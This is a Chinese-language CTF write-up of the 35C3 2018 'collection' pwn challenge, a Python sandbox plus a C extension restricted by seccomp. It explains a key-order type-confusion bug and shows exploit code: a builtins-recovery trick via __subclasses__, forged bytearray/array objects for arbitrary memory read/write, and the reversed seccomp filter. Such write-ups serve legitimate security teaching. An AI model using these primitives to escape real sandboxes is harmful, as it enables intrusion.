35C3 CTF 2018 - collection (pwn)

题目描述

behold my collection

The container is built with the following important statements

1
2
3
FROM ubuntu:18.04
RUN apt-get -y install python3.6
COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so

Copy the library in the same destination path and check that it works with

1
python3.6 test.py

Challenge runs at 35.207.157.79:4444

Difficulty: easy

题目信息

题目给了python3.6 和 Collection.cpython-36m-x86_64-linux-gnu.so 这两个比较有用的文件。其中从命名我们可以得知 Collection.cpython-36m-x86_64-linux-gnu.so 是C语言写的一个Python库。

在 Server.py 文件里,我们可以得知这是一个 Python escape题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import os
import tempfile
import os
import string
import random

def randstr():
return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))


flag = open("flag", "r")


prefix = """
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
del __builtins__.__dict__[k]

"""


size_max = 20000

print("enter your code, enter the string END_OF_PWN on a single line to finish")


code = prefix
new = ""
finished = False

while size_max > len(code):
new = raw_input("code> ")
if new == "END_OF_PWN":
finished = True
break
code += new + "\n"

if not finished:
print("max length exceeded")
sys.exit(42)


file_name = "/tmp/%s" % randstr()
with open(file_name, "w+") as f:
f.write(code.encode())


os.dup2(flag.fileno(), 1023)
flag.close()

cmd = "python3.6 -u %s" % file_name
os.system(cmd)

从关键的代码:

1
2
3
4
5
6
7
8
9
10
prefix = """
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
del __builtins__.__dict__[k]

"""

我们可以得知,这他删掉了 os 模块,只留下了 id ,hex ,print ,range。我们第一思路就是,突破口在

Collection.cpython-36m-x86_64-linux-gnu.so 这个扩展库里。于是我们先去逆向这个文件

对 Collection 逆向

我们可以清晰的看到这个文件保留了符号:

由于是用来作为Python扩展库,方便用来直接 import 所以保留符号应该是其一个原因之一。由于以前没有用C写过Python的扩展库。所以了解了一下:

Building C and C++ Extensions

从中我们大概可以得知的是 PyInit_Collection初始化Collection将要实现的此类型的自定义类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int64 PyInit_Collection()
{
__int64 v0; // rax
__int64 v1; // rbx

if ( (int)PyType_Ready(&qword_2041E0) < 0 )
return 0LL;
v0 = PyModule_Create2(&unk_204120, 1013LL);
v1 = v0;
if ( v0 )
{
++qword_2041E0;
PyModule_AddObject(v0, "Collection", &qword_2041E0);
mprotect((void *)0x439000, 1uLL, 7);
MEMORY[0x43968F] = _mm_load_si128((const __m128i *)&xmmword_27E0);
MEMORY[0x43969F] = MEMORY[0x43968F];
mprotect((void *)0x439000, 1uLL, 5);
init_sandbox();
}
return v1;
}

在这个过程中,我们发现其在 seccomp 函数中做了一些 seccomp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
 line  CODE  JT   JF  	K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0012
0011: 0x05 0x00 0x00 0x00000011 goto 0029
0012: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000019 if (A != mremap) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x000000ca if (A != futex) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000083 if (A != sigaltstack) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0026
0025: 0x05 0x00 0x00 0x00000037 goto 0081
0026: 0x15 0x00 0x01 0x0000000d if (A != rt_sigaction) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0028: 0x06 0x00 0x00 0x00000000 return KILL
0029: 0x05 0x00 0x00 0x00000000 goto 0030
0030: 0x20 0x00 0x00 0x00000010 A = args[0]
0031: 0x02 0x00 0x00 0x00000000 mem[0] = A
0032: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0033: 0x02 0x00 0x00 0x00000001 mem[1] = A
0034: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0038
0035: 0x60 0x00 0x00 0x00000000 A = mem[0]
0036: 0x15 0x02 0x00 0x00000000 if (A == 0x0) goto 0039
0037: 0x60 0x00 0x00 0x00000001 A = mem[1]
0038: 0x06 0x00 0x00 0x00000000 return KILL
0039: 0x60 0x00 0x00 0x00000001 A = mem[1]
0040: 0x20 0x00 0x00 0x00000020 A = args[2]
0041: 0x02 0x00 0x00 0x00000000 mem[0] = A
0042: 0x20 0x00 0x00 0x00000024 A = args[2] >> 32
0043: 0x02 0x00 0x00 0x00000001 mem[1] = A
0044: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0048
0045: 0x60 0x00 0x00 0x00000000 A = mem[0]
0046: 0x15 0x02 0x00 0x00000003 if (A == 0x3) goto 0049
0047: 0x60 0x00 0x00 0x00000001 A = mem[1]
0048: 0x06 0x00 0x00 0x00000000 return KILL
0049: 0x60 0x00 0x00 0x00000001 A = mem[1]
0050: 0x20 0x00 0x00 0x00000028 A = args[3]
0051: 0x02 0x00 0x00 0x00000000 mem[0] = A
0052: 0x20 0x00 0x00 0x0000002c A = args[3] >> 32
0053: 0x02 0x00 0x00 0x00000001 mem[1] = A
0054: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0058
0055: 0x60 0x00 0x00 0x00000000 A = mem[0]
0056: 0x15 0x02 0x00 0x00000022 if (A == 0x22) goto 0059
0057: 0x60 0x00 0x00 0x00000001 A = mem[1]
0058: 0x06 0x00 0x00 0x00000000 return KILL
0059: 0x60 0x00 0x00 0x00000001 A = mem[1]
0060: 0x20 0x00 0x00 0x00000030 A = args[4]
0061: 0x02 0x00 0x00 0x00000000 mem[0] = A
0062: 0x20 0x00 0x00 0x00000034 A = args[4] >> 32
0063: 0x02 0x00 0x00 0x00000001 mem[1] = A
0064: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0068
0065: 0x60 0x00 0x00 0x00000000 A = mem[0]
0066: 0x15 0x02 0x00 0xffffffff if (A == 0xffffffff) goto 0069
0067: 0x60 0x00 0x00 0x00000001 A = mem[1]
0068: 0x06 0x00 0x00 0x00000000 return KILL
0069: 0x60 0x00 0x00 0x00000001 A = mem[1]
0070: 0x20 0x00 0x00 0x00000038 A = args[5]
0071: 0x02 0x00 0x00 0x00000000 mem[0] = A
0072: 0x20 0x00 0x00 0x0000003c A = args[5] >> 32
0073: 0x02 0x00 0x00 0x00000001 mem[1] = A
0074: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0078
0075: 0x60 0x00 0x00 0x00000000 A = mem[0]
0076: 0x15 0x02 0x00 0x00000000 if (A == 0x0) goto 0079
0077: 0x60 0x00 0x00 0x00000001 A = mem[1]
0078: 0x06 0x00 0x00 0x00000000 return KILL
0079: 0x60 0x00 0x00 0x00000001 A = mem[1]
0080: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0081: 0x05 0x00 0x00 0x00000000 goto 0082
0082: 0x20 0x00 0x00 0x00000010 A = args[0]
0083: 0x02 0x00 0x00 0x00000000 mem[0] = A
0084: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0085: 0x02 0x00 0x00 0x00000001 mem[1] = A
0086: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0092
0087: 0x60 0x00 0x00 0x00000000 A = mem[0]
0088: 0x15 0x00 0x02 0x00000001 if (A != 0x1) goto 0091
0089: 0x60 0x00 0x00 0x00000001 A = mem[1]
0090: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0091: 0x60 0x00 0x00 0x00000001 A = mem[1]
0092: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0098
0093: 0x60 0x00 0x00 0x00000000 A = mem[0]
0094: 0x15 0x00 0x02 0x00000002 if (A != 0x2) goto 0097
0095: 0x60 0x00 0x00 0x00000001 A = mem[1]
0096: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0097: 0x60 0x00 0x00 0x00000001 A = mem[1]
0098: 0x06 0x00 0x00 0x00000000 return KILL

从中,我们可以大胆的猜测,我们需要构造一个任意读,通过 readv 读取flag 然后将其打印出来。

另外一点,由于编译后的Python结构体不全,我们可以通过一个方法:

(这个方法是丁老教我的)

这个方法中需要注意的是,对于正常的debug编译来说是没有类型信息的,需要使用-g3的debug编译等级,需要在编译python的时候:

1
2
./configure CFLAGS=-g3
make -j4

这样就可以编译出带有type的python,然后用ida打开,选择file -> produce file -> create C header就可以导出到header,在逆向so库的这边把header导入就可以得到类型信息了。

在恢复完类型信息之后,我们就可以看看so库里定义的一些关键的接口了:

1
2
3
4
5
.data:00000000002041E0                 dq offset CollectionTypeMethod; tp_methods
...
.data:00000000002041E0 dq offset CollectionInit; tp_init
.data:00000000002041E0 dq 0 ; tp_alloc
.data:00000000002041E0 dq offset CollectionNew ; tp_new

接下来要注意的函数是new和init函数,因为它们是在初始化新的Collection对象时调用的第一个函数。总之,tp_new检查是否使用字典初始化了对象,并确保字典只有32个或更少的成员。

1
2
3
4
5
6
7
import Collection

a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}})

print(a.get("a"))
print(a.get("b"))
print(a.get("c"))

总结一下题目的基本逻辑:

  1. server中:设置py沙箱,打开flag,设置fd为1023然后启动用户的python程序。设置沙箱:这一步导致我们根本不用考虑去绕过python层的沙箱了,因为在import Collection的时候有init_sandbox操作,加入了seccomp,只能使用白名单,我主要在意了白名单里有writereadv,但是没有open。
  2. Collection.Collection对象,和该对象上的.get方法。对象初始化接受一个dict,dict的key必须为字符串,然后value为数值/list/dict中的一种。.get接受一个字符串,然后返回初始化时传入的内容。
  3. 在初始化时会建立一个handler,相当于key的缓存,会保存下传入的dict的key的内容(字符串内容)和类型(是整数还是列表还是字典),建立之后会存入缓存的handler里,如果存在“一样”的handler,就会直接使用该handler,而不新建。
  4. handler的“一样”的比较,是将两个handler按照字典序排序,之后比较两个handler相应位置的key和类型是不是都一样,如果完全一样则一样,否则则不同
  5. .get的时候,首先从handler里找到对应key所在的索引,然后从对象里的slots里取出内容返回,如果是整数,还需要进行一次转换,将整数转换为python的整数对象类型。

Vul

看一个 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

root@linuxkit-025000000001 /pwn# cat test.py
import Collection

# a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}})

# print(a.get("a"))
# print(a.get("b"))
# print(a.get("c"))


a = Collection.Collection({'a': 1, 'b': 2, 'c': 3})
b = Collection.Collection({'b': 1, 'a': 2, 'c': 3})

print(a.get("a")) # 1
print(a.get("b")) # 2
print(a.get("c")) # 3

print(b.get('a')) # 1 ← should be 2
print(b.get('b')) # 2 ← should be 1
print(b.get('c')) # 3⏎ root@linuxkit-025000000001 /pwn# python3 test.py
1
2
3
1
2
3

原本 a 被定义为:{‘a’: 1, ‘b’: 2, ‘c’: 3}

b 被定义为:{'b': 1, 'a': 2, 'c': 3}

那么本应该 b.get(‘a’)获取的应该是2 但是在这个时候缺拿到是 1 这是为什么?

不同对象的两个handler是经过排序的,排序之后认为相同,则就使用现有的handler了,但是事实上两个handler相同之后,他们的顺序可能是不同的,而后在.get的时候又用到了这个顺序,不同的顺序对应的索引肯定不同。

这样就造成了一个类似于类型混淆的点

利用

我们尝试用get()返回一个我在内存中创建的伪造的Python列表对象。我希望这会让我通过List的内容任意写.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct {
PyObject_VAR_HEAD
/* Vector of pointers to list elements. list[0] is ob_item[0], etc. */
PyObject **ob_item;

/* ob_item contains space for 'allocated' elements. The number
* currently in use is ob_size.
* Invariants:
* 0 <= ob_size <= allocated
* len(list) == ob_size
* ob_item == NULL implies ob_size == allocated == 0
* list.sort() temporarily sets allocated to -1 to detect mutations.
*
* Items must normally not be NULL, except during construction when
* the list is not yet visible outside the function that builds it.
*/
Py_ssize_t allocated;
} PyListObject;

然后丁老意识到,用list做任意读写并不现实,那么我们需要找一个能够直接写入值而非对象的类型。之前都想到bytes了,现在需要他可以更改,那就bytearray。

1
2
3
4
5
6
7
8
typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */
char *ob_bytes; /* Physical backing buffer */
char *ob_start; /* Logical start inside ob_bytes */
/* XXX(nnorwitz): should ob_exports be Py_ssize_t? */
int ob_exports; /* How many buffer exports */
} PyByteArrayObject;

看到ob_bytes大家应该就放心了,这直接就是一个缓冲区,可以直接更改,size也可控,所以如果能伪造一个bytearray,就可以任意读写了。

所以总结一下思路:

  1. 建立一个目标bytearray
  2. 利用bytes伪造一个list,id(X) + 0x20即为写入的bytes内容的地址(这个可以调试得到),指针数组设置为bytearray地址的ob_bytes位置
  3. 利用构造的list,将一个新的bytearray的地址写入到第一步中的bytearray的ob_bytesob_start位置
  4. 这样就已经做到任意读写了,每次修改第一步的bytearray,让他的内容是一个伪造的bytearray,地址指向需要读写的地址,然后使用第三步的进行读写

后来丁老意识到 我们需要绕一下 bytearary 和 list ,方法如下:

1
2
3
4
5
6
7
8
9
10
11

subs = [].__class__.mro()[1].__subclasses__()
for cls in subs:
if cls.__name__ == 'bytearray':
bytearray = cls

if cls.__name__ == 'list':
list = cls

if cls.__name__ == 'bytes':
bytes = cls

之后我们就可以去构造我们的任意读写:

set_addr(addr):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    payload = p64(0x10) + p64(id(bytearray)) + p64(0x1000) + p64(0x1001) + \
p64(addr) + p64(addr)
for i in range(6 * 8):
buf[i] = payload[i]

def arbitrary_read(addr, length):
set_addr(addr)

assert length < 0x1000 # can be larger, but .. really?
return some[:length]

def arbitrary_write(addr, length, buf):
set_addr(addr)

for i in range(length):
some[i] = buf[i]



之后呢,有了任意读写之后就很简单了,有了打开的flag的fd,有`readv`和`write`,构造好数据进行读取即可。接着构造一个rop。



完整EXP见 35c3CTF [collection writeup](https://xz.aliyun.com/t/3747)



值得一提的是,在调试的过程中,gdb set stop-on-solib-events 1就能断下来。

另外在结束后,我也看了一下作者的 [exploit](https://github.com/bkth/35c3ctf/blob/master/collection/dist_exploit.py) ,作者这里用了 array.array 这样的一个对象



```c
typedef struct {
typedef struct arrayobject {
PyObject_VAR_HEAD
char *ob_item; // <- Make this point to the address you want to read/write
Py_ssize_t allocated;
const struct arraydescr *; // <- Make this point to "L" for long
PyObject *weakreflist;
int ob_exports;
} arrayobject;

它与List有一些相似之处,但关于这种类型的重要一点是它的内容存储为C类型而不是Python对象!有了这个,任意读写都会非常容易

因此就没有了起那么的那些类型绕过:

作者的 任意读写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def read(addr):
d = {}
d["a1"] = 0x1
d["a2"] = 0x9d3340
d["a3"] = 0x4
d["a4"] = addr
d["a5"] = 0x4
d["a6"] = 0x715620
d["a7"] = 0x0
d["a8"] = 0x0

# 0x7ffff6153db0: 0x0000000000000001 0x00000000009ef7a0
# 0x7ffff6153dc0: 0x0000000000000004 0x00007ffff6191790
# 0x7ffff6153dd0: 0x0000000000000004 0x0000000000644a50
# 0x7ffff6153de0: 0x0000000000000000 0x0000000000000000
fakeContainer = Collection.Collection(d)

collAddr = id(fakeContainer)
fakeArr = collAddr + 24

a = Collection.Collection({"a":1337, "b":[1.2]})
b = Collection.Collection({"b":[1.3], "a":fakeArr})
fakeobj = b.get("b")
roots.append(fakeobj)
return fakeobj[0]

def write(addr, val):
d = {}
d["a1"] = 0x1
d["a2"] = 0x9d3340
d["a3"] = 0x4
d["a4"] = addr
d["a5"] = 0x4
d["a6"] = 0x715620
d["a7"] = 0x0
d["a8"] = 0x0

# 0x7ffff6153db0: 0x0000000000000001 0x00000000009ef7a0
# 0x7ffff6153dc0: 0x0000000000000004 0x00007ffff6191790
# 0x7ffff6153dd0: 0x0000000000000004 0x0000000000644a50
# 0x7ffff6153de0: 0x0000000000000000 0x0000000000000000
fakeContainer = Collection.Collection(d)

collAddr = id(fakeContainer)
fakeArr = collAddr + 24

a = Collection.Collection({"a":1337, "b":[1.2]})
b = Collection.Collection({"b":[1.3], "a":fakeArr})
fakeobj = b.get("b")
roots.append(fakeobj)
fakeobj[0] = val

参考链接:

https://xz.aliyun.com/t/3747